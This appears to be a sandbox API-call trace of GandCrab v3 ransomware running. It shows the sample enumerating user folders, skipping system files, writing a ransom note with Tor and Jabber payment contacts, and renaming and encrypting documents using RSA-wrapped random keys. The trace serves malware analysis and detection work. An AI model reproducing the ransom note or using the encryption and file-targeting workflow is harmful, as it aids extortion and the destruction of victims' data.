	[0128.859] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0128.859] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0128.860] CloseHandle (hObject=0x3ec) returned 1
	[0128.860] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.861] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned 51
	[0128.861] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*"
	[0128.861] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x318e1b8
	[0128.861] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0128.861] FindNextFileW (in: hFindFile=0x318e1b8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0128.861] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0128.861] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0128.861] FindNextFileW (in: hFindFile=0x318e1b8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0128.861] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0128.861] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0128.861] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\CRAB-DECRYPT.txt"
	[0128.861] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.861] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\CRAB-DECRYPT.txt") returned 67
	[0128.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\CRAB-DECRYPT.txt") returned 67
	[0128.862] lstrlenW (lpString=".txt") returned 4
	[0128.862] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.862] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0128.862] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\CRAB-DECRYPT.txt") returned 67
	[0128.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\CRAB-DECRYPT.txt") returned 67
	[0128.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0128.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0128.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0128.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0128.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0128.863] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0128.863] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0128.863] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0128.863] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0128.863] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.863] FindNextFileW (in: hFindFile=0x318e1b8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0128.863] lstrcmpW (lpString1="folder.ico", lpString2=".") returned 1
	[0128.863] lstrcmpW (lpString1="folder.ico", lpString2="..") returned 1
	[0128.863] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\", lpString2="folder.ico" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico"
	[0128.863] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.863] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico") returned 61
	[0128.863] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico") returned 61
	[0128.863] lstrlenW (lpString=".ico") returned 4
	[0128.863] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.864] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ico ") returned 5
	[0128.864] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.864] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.864] FindNextFileW (in: hFindFile=0x318e1b8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0128.864] FindClose (in: hFindFile=0x318e1b8 | out: hFindFile=0x318e1b8) returned 1
	[0128.864] FindNextFileW (in: hFindFile=0x318deb8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0128.864] FindClose (in: hFindFile=0x318deb8 | out: hFindFile=0x318deb8) returned 1
	[0128.865] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.865] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1
	[0128.865] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1
	[0128.865] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos"
	[0128.865] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\"
	[0128.865] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.865] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0128.865] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0128.865] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0128.865] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0128.865] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.866] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0128.866] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0128.866] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0128.866] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0128.866] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0128.866] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0128.866] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.866] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\\\CRAB-DECRYPT.txt") returned 59
	[0128.866] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my videos\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.869] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0128.869] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0128.869] CloseHandle (hObject=0x3e8) returned 1
	[0128.869] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.870] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned 42
	[0128.870] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*"
	[0128.870] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0xffffffff
	[0128.870] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.870] lstrcmpW (lpString1="nuk9oIMMGGHJ.ots", lpString2=".") returned 1
	[0128.870] lstrcmpW (lpString1="nuk9oIMMGGHJ.ots", lpString2="..") returned 1
	[0128.870] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="nuk9oIMMGGHJ.ots" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots"
	[0128.870] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.870] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots") returned 48
	[0128.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots") returned 48
	[0128.871] lstrlenW (lpString=".ots") returned 4
	[0128.871] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.871] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ots ") returned 5
	[0128.871] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots") returned 48
	[0128.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots") returned 48
	[0128.871] lstrcmpiW (lpString1="nuk9oIMMGGHJ.ots", lpString2="desktop.ini") returned 1
	[0128.871] lstrcmpiW (lpString1="nuk9oIMMGGHJ.ots", lpString2="autorun.inf") returned 1
	[0128.871] lstrcmpiW (lpString1="nuk9oIMMGGHJ.ots", lpString2="ntuser.dat") returned 1
	[0128.871] lstrcmpiW (lpString1="nuk9oIMMGGHJ.ots", lpString2="iconcache.db") returned 1
	[0128.871] lstrcmpiW (lpString1="nuk9oIMMGGHJ.ots", lpString2="bootsect.bak") returned 1
	[0128.871] lstrcmpiW (lpString1="nuk9oIMMGGHJ.ots", lpString2="boot.ini") returned 1
	[0128.871] lstrcmpiW (lpString1="nuk9oIMMGGHJ.ots", lpString2="ntuser.dat.log") returned 1
	[0128.871] lstrcmpiW (lpString1="nuk9oIMMGGHJ.ots", lpString2="thumbs.db") returned -1
	[0128.872] lstrcmpiW (lpString1="nuk9oIMMGGHJ.ots", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.872] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.872] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots.CRAB") returned 53
	[0128.872] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\nuk9oimmgghj.ots")) returned 0x20
	[0128.872] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots", dwFileAttributes=0x20) returned 1
	[0128.872] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\nuk9oimmgghj.ots"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\nuk9oimmgghj.ots.crab")) returned 1
	[0128.874] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.874] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots.CRAB"
	[0128.874] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots.CRAB.CRAB"
	[0128.874] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0128.879] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.879] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.879] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.879] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0128.879] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0128.879] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.880] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0128.882] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.883] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.883] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.883] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0128.883] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0128.883] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.883] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.883] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.884] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0128.886] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318deb8) returned 1
	[0128.887] CryptGetKeyParam (in: hKey=0x318deb8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.887] CryptEncrypt (in: hKey=0x318deb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0128.887] GetLastError () returned 0x0
	[0128.887] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0128.887] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e5a0) returned 1
	[0128.890] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318def8) returned 1
	[0128.890] CryptGetKeyParam (in: hKey=0x318def8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.890] CryptEncrypt (in: hKey=0x318def8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0128.890] GetLastError () returned 0x0
	[0128.890] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0128.890] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\nuk9oIMMGGHJ.ots.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\nuk9oimmgghj.ots.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.891] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.892] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.893] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x18aec, lpOverlapped=0x0) returned 1
	[0128.905] VirtualAlloc (lpAddress=0x0, dwSize=0x18af0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.907] VirtualAlloc (lpAddress=0x0, dwSize=0x18af0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0128.909] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.910] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffe7514, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.910] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x18af0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x18af0, lpOverlapped=0x0) returned 1
	[0128.911] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.911] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.915] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.915] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.915] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0128.915] CloseHandle (hObject=0x3e8) returned 1
	[0128.915] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.916] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.916] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.916] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.916] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.917] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.917] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.917] lstrcmpW (lpString1="ojO39Vcd.xlsx", lpString2=".") returned 1
	[0128.917] lstrcmpW (lpString1="ojO39Vcd.xlsx", lpString2="..") returned 1
	[0128.917] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="ojO39Vcd.xlsx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx"
	[0128.917] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.917] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx") returned 45
	[0128.917] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx") returned 45
	[0128.917] lstrlenW (lpString=".xlsx") returned 5
	[0128.917] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.918] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xlsx ") returned 6
	[0128.918] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.918] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx") returned 45
	[0128.918] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx") returned 45
	[0128.918] lstrcmpiW (lpString1="ojO39Vcd.xlsx", lpString2="desktop.ini") returned 1
	[0128.918] lstrcmpiW (lpString1="ojO39Vcd.xlsx", lpString2="autorun.inf") returned 1
	[0128.918] lstrcmpiW (lpString1="ojO39Vcd.xlsx", lpString2="ntuser.dat") returned 1
	[0128.918] lstrcmpiW (lpString1="ojO39Vcd.xlsx", lpString2="iconcache.db") returned 1
	[0128.918] lstrcmpiW (lpString1="ojO39Vcd.xlsx", lpString2="bootsect.bak") returned 1
	[0128.918] lstrcmpiW (lpString1="ojO39Vcd.xlsx", lpString2="boot.ini") returned 1
	[0128.918] lstrcmpiW (lpString1="ojO39Vcd.xlsx", lpString2="ntuser.dat.log") returned 1
	[0128.918] lstrcmpiW (lpString1="ojO39Vcd.xlsx", lpString2="thumbs.db") returned -1
	[0128.918] lstrcmpiW (lpString1="ojO39Vcd.xlsx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.919] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.919] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ojO39Vcd.xlsx.CRAB") returned 50
